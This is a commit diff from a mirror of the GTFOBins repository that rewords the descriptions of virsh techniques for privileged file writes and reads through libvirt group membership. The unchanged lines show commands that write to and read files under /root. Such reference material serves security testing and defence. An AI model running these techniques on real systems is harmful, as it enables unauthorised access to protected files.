mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Polish virsh
This commit is contained in:
parent
80d2b5cb26
commit
685c1412db
@ -21,7 +21,7 @@ functions:
|
|||||||
sudo virsh -c qemu:///system create $TF
|
sudo virsh -c qemu:///system create $TF
|
||||||
virsh -c qemu:///system destroy x
|
virsh -c qemu:///system destroy x
|
||||||
file-write:
|
file-write:
|
||||||
- description: This requires the user to be in the `libvirt` group. If the target directory doesn't exist `pool-create-as` must be run with the `--build` option. The destination file permissions can be tuned in the XML file.
|
- description: This requires the user to be in the `libvirt` group to perform privileged file write. If the target directory doesn't exist, `pool-create-as` must be run with the `--build` option. The destination file ownership and permissions can be set in the XML.
|
||||||
code: |
|
code: |
|
||||||
LFILE_DIR=/root
|
LFILE_DIR=/root
|
||||||
LFILE_NAME=file_to_write
|
LFILE_NAME=file_to_write
|
||||||
@ -55,7 +55,7 @@ functions:
|
|||||||
virsh -c qemu:///system vol-upload --pool x $LFILE_DIR/$LFILE_NAME data_to_write
|
virsh -c qemu:///system vol-upload --pool x $LFILE_DIR/$LFILE_NAME data_to_write
|
||||||
virsh -c qemu:///system pool-destroy x
|
virsh -c qemu:///system pool-destroy x
|
||||||
file-read:
|
file-read:
|
||||||
- description: This requires the user to be in the `libvirt` group.
|
- description: This requires the user to be in the `libvirt` group to perform privileged file read.
|
||||||
code: |
|
code: |
|
||||||
LFILE_DIR=/root
|
LFILE_DIR=/root
|
||||||
LFILE_NAME=file_to_read
|
LFILE_NAME=file_to_read
|
||||||
|
Loading…
Reference in New Issue
Block a user